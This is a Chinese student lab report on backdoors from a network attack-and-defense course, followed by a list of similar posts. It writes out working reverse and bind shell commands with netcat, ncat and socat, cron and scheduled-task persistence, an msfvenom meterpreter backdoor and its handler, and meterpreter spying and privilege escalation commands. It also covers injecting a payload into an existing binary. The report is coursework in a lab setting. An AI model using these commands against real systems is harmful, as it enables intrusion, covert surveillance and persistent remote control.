2018-2019-2 20165303《网络对抗技术》Exp2 后门原理与实践
实验内容
(1)使用netcat获取主机操作Shell,cron启动 (0.5分)
(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
首先是从网上下载免费软件或者游戏外挂驱动什么的,因为这些软件往往会要求较高的权限,管理员权限等,这样后门进入我的电脑就比较容易,而且杀毒软件也不会杀掉
浏览网页的时候可能会因为浏览器漏洞进行后门的下载
(2)例举你知道的后门如何启动起来(win及linux)的方式?
首先可以设置开机自启动,或者定时启动,或者与某个应用程序捆绑,在你打开程序的时候后门就会自动启动
(3)Meterpreter有哪些给你映像深刻的功能?
他可以自己定制后门软件,就像流水线一样,可以针对不同用户不同功能进行私人定制化,防止功能太强的一个程序比较大,容易被发现
(4)如何发现自己有系统有没有被安装后门?
安装杀毒软件,及时打开防火墙,经常查杀病毒木马,及时升级系统,平时不要去下载什么外挂或者游戏补丁等,把开机自启动的不必要的软件关掉
实验一
任务一 Windows获得Linux Shell
1.首先使用命令
ipconfig
查看Windows的IP地址2.进入老师给的程序的ncat文件夹中,使用命令
ncat.exe -l -p 5303
监听本机的5303端口
- 3.在kali环境中使用
netcat
命令反向连接到Windows主机,由于我的电脑使用ncat发现没有这个命令,所以只能使用netcat 命令netcat 192.168.1.101 5303 -e /bin/sh
进行连接
4.成功获得kali的权限,如图所示
注意!!!能成功的前提是Windows防火墙得关,虚拟机都是用桥接模式,IP地址在同一个子网下
任务二 Linux获得Windows Shell
1.在kali使用
ifconfig
查看kali的IP地址,第二行的就是IP地址了
- 2.使用nc指令监听5303端口
nc -l -p 5303
- 3.在Windows下,使用ncat程序的
-e
选项反向连接kali的5303端口
ncat.exe -e cmd.exe 192.168.1.154 5303
4.在kali下可以看到已经获得Windows权限Microsoft Windows,可以输入命令进行操作
任务三 使用nc传递数据
- 1.首先在Windows下监听5303端口
ncat.exe -l 5303
- 2.在kali下连接到Windows端口
netcat 192.168.1.101 5303
3.建立连接后可以进行数据传输下面是我进行数据传输的结果
任务四 使用netcat获取主机操作Shell,cron启动
- 1.在Windows系统下,监听5303端口
ncat.exe -l -p 5303
- 2.使用
crontab -e
指令编辑一条定时任务,输入指令后选3进入crontab编辑界面
在最后一行添加45 * * * * /bin/netcat 192.168.1.101 5303 -e /bin/sh
,意思是在每个小时的第45分钟反向连接Windows主机的5303端口,然后wq保存退出
- 3.保存退出后的结果
- 4.在16.45分成功获取了权限
实验一借结束
实验二 使用socat获取主机操作Shell, 任务计划启动
在win7中打开我的电脑,右键点击管理,在任务计划程序中点击创建任务,填写任务名字并编辑触发器,具体配置见图片
- 点击操作选择启动程序程序或脚本填写你自己的
socat.exe
程序的路径,在添加参数中填写tcp-listen:5303 exec:cmd.exe,pty,stderr
这个命令的作用是把
cmd.exe
绑定到端口5303
,同时把cmd.exe
的stderr
重定向到stdout
上
创建完成之后锁定计算机再重新启动即可发现程序已经在运行了
然后在kali虚拟机中输入
socat - tcp:192.168.1.101:5303
这里的IP即win7的IP地址,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5303端口,此时可以发现已经成功获得了一个cmd shell
第二个实验结束
实验三 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在kali上执行命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=5303 -f exe > 20165303_backdoor.exe
这里的IP地址填写kali的IP地址,生成后门程序20165303_backdoor.exe
在Windows下进入ncat文件夹,下输入命令ncat.exe -lv 5303 > 20165303_backdoor.exe
指令,通过-lv
选项看到当前的连接状态,这样被控主机就进入了文件接收模式
- 在kali中执行
nc 192.168.1.101 5303 < 20165303_backdoor.exe
,这里的IP为被控主机IP,即WindowsIP,进行后门文件的传输
- 这里可以看到已经传输成功
- 在Kali上使用msfconsole指令进入msf控制台
先输入use exploit/multi/handler
使用监听模块,
set payload windows/meterpreter/reverse_tcp
,设置payload
set LHOST 192.168.1.154
设置反弹回连的IP和端口,这里用的是LinuxIP,特别注意
set LPORT 5303
设置反弹回连的IP和端口
然后输入show options
在输入exploit
使用监听
运行Windows7下的后门程序
可以看到kali已经获取了权限
- 实验三结束
实验四 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
在上一实验的基础上就可以继续,不需要退出来,我就是退出来后发现需要接着上一问继续做,然后又重新做了一遍实验三,炸裂
1.使用
record_mic
指令可以截获一段音频,可以用-d选项设置录制时间
在主文件夹中可以看到保存的音频文件wav
2.使用
webcam_snap
指令可以使用摄像头进行拍照
3.使用
keyscan_start
开始记录下敲键的过程,使用keyscan_dump
指令读取敲键的记录
4.使用
screenshot
可以进行截屏
5.使用
getuid
可以查看当前用户,使用getsystem
指令进行提权
6.也可以使用
webcam stream
进行录像
实验五 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
可以利用MSF直接生成shellcode注入到程序中
- 这是网上查到的MSF命令行选项
-p, --payload <payload> 使用攻击负荷。指定一个'-'或者输入(stdin)用户自定义的payloads(攻击负荷)。
--payload-options 攻击负荷(payload)标准参数(options)列表。
-l, --list <type> 一个模块类型列表。参数是:payloads、encoders、nops、all。
-n, --nopsled <length> 提前给负荷(payload)设置一个长度为length的nopsled。
-f, --format <format> 输出格式(使用 --help-formats来查看变量格式列表)
--help-formats 变量格式列表
-e, --encoder <encoder> 使用的编码(encoder)
-a, --arch <arch> 使用的结构(architecture)
--paltform <paltform> 攻击负荷的平台(platform)
--help-paltform 变量平台的列表信息
-s,--space <length> 产生有效负荷的最大长度
--encoder-space <length> 编码的有效负荷的最大长度(默认是使用-s 的值)
-b,--bad-chars <list> 需要规避(avoid)的字符(characters)列表,例如:‘\x00\xff’
-i,--iterations <count> 对负荷进行编码的次数。
-c,--add-code <path> 指定一个详细win32 shellcode文件给include
-x,--template <path> 指定一个自定义可执行的文件作为一个模板(template)
-k,--keep 保留模板行为并且把负荷作为一个新的线程注入
-o,--out <path> 保存攻击负荷(payload)
-v,--var-name <name> 指定一个自定义变量名作为确切的输出格式
--smallest 生成最小可用攻击负荷
-h,--help 显示msfvenom使用信息
现在生成shellcode并注入到pwn1中
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=5303 -x /root/pwn1 -f elf > pwn4
然后使用MSF进行监听
先输入msfconsole
然后输入set payload linux/x86/meterpreter/reverse_tcp
在输入set LHOST 192.168.1.154
接着set LPORT 5303
开始监听exploit
在Linux中运行pwn程序,本来想在Windows中运行的,但是发现pwn程序无法运行,这应该是Linux程序
发现成功了
- 首先应该注意给pwn4程序加权限
chmod +x pwn4
- 任务三中被监听主机是Windows系统,则应为windows,而本任务中为Linux系统,则应改成linux/x86
这个实验重要的还是让我们深入了解MSF工具生成各种想要的后门或者生成shellcode注入到其他可执行程序中,这就告诉我们以后利用一个程序把自己后门文件注入进去,在别人使用这个程序的时候自然的就可以启动后门,然后就达到我们的目的了,比单纯的生成后门程序,让别人傻瓜式的点击运行要高级的多
总结与体会
遇到的问题
- 1.首先就是两台虚拟机win7和kali都需要互相ping通,Windows防火墙需要关掉,虚拟机用桥接模式
- 2.其次最好能找一台带照相机功能的win7,要不然的话不太好做
- 3.在做第三个实验的时候要注意输入命令的时候到底是哪一个IP地址,不要搞错,否则就得重来
体会
后门是我们网络攻防的一个重要的环节,后门特指潜伏于操作系统中专门做后门的一个程序,有了这个程序我们可以轻易获取系统的权限做我们想要的事情,当然防范后门也是一个重要的环节
后门基本环节就是生成、投送、启动,生成,生成一个后门相对来说容易一些,最重要的就是投送和启动,投送可以利用人们的利益心里进行投送,启动的话就需要做一些手脚了
当然这是最简单的后门,我们还需要继续努力,多多学习
2018-2019-2 20165303《网络对抗技术》Exp2 后门原理与实践的更多相关文章
- 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践
2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...
- 20155326刘美岑 《网络对抗》Exp2 后门原理与实践
20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...
- 20155320《网络对抗》Exp2 后门原理与实践
20155320<网络对抗>Exp2 后门原理与实践 [实验内容] (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, ...
- 20155324《网络对抗》Exp2 后门原理与实践
20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...
- 20155208徐子涵《网络对抗》Exp2 后门原理与实践
20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...
- 20145236《网络对抗》Exp2 后门原理与实践
20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...
- 20155202 张旭《网络对抗》Exp2 后门原理与实践
20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...
- 20155218《网络对抗》Exp2 后门原理与实践
20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...
- 20155227《网络对抗》Exp2 后门原理与实践
20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...
- 20155232《网络对抗》Exp2 后门原理与实践
20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...
随机推荐
- 记一次Linux服务器因redis漏洞的挖矿病毒入侵
中毒原因,redis bind 0.0.0.0 而且没有密码,和安全意识太薄弱. 所以,redis一定要设密码,改端口,不要用root用户启动,如果业务没有需要,不要bind 0.0.0.0!!!!! ...
- PHP----------php封装的一些简单实用的方法汇总
1.xml转换成array,格式不对的xml则返回false function xml_parser($str){ $xml_parser = xml_parser_create(); i ...
- 一个比较难忘的BUG
本学期开设了软件测试课程,在课上有讨论到bug,想到bug,真是很令人头疼的东西,相信每个程序都多多少少会有几个头疼的bug. 初学java时写过一个字符串判断的循环,之前学的C++字符类型用“==” ...
- 【SW4STM32生成 hex文件的设置方法】
SW4STM32生成 hex文件的设置方法 开发环境:WIN7_64 + SW4STM32 联系方式:yexiaopeng1992@126.com 修改: 2018年1月21日 在这周,有一个热心的 ...
- C++编译优化备忘
基于GCC测试:http://www.tutorialspoint.com/compile_cpp11_online.php const A& a=fun() 与 A a= fun() 1.方 ...
- Qt3D 5.9 and future
2017-05 http://blog.qt.io/blog/2017/05/24/qt3d/ Qt3D future 5.9 Use Qt Quick or QPainter to render i ...
- 利用multiprocessing.managers开发跨进程生产者消费者模型
研究了下multiprocessing.managers,略有收获,随笔一篇: 核心思路是构造一个manager进程,这个进程可以通过unix socket或tcp socket与其它进程通信:因为利 ...
- JS文件写法操作,DOM基本操作
js文件写法.规范 // 定义全局变量 var num = 0;//这个是用来记数的. // 页面加载完成 window.onload = funtion(){ intVar();//初始化变量 s ...
- Java中的String为什么是不可变的? -- String源码分析
众所周知, 在Java中, String类是不可变的.那么到底什么是不可变的对象呢? 可以这样认为:如果一个对象,在它创建完成之后,不能再改变它的状态,那么这个对象就是不可变的.不能改变状态的意思是, ...
- Insert 导致死锁的两种情况
官档原文,懒得翻译了 https://dev.mysql.com/doc/refman/5.7/en/innodb-locks-set.html INSERT sets an exclusive lo ...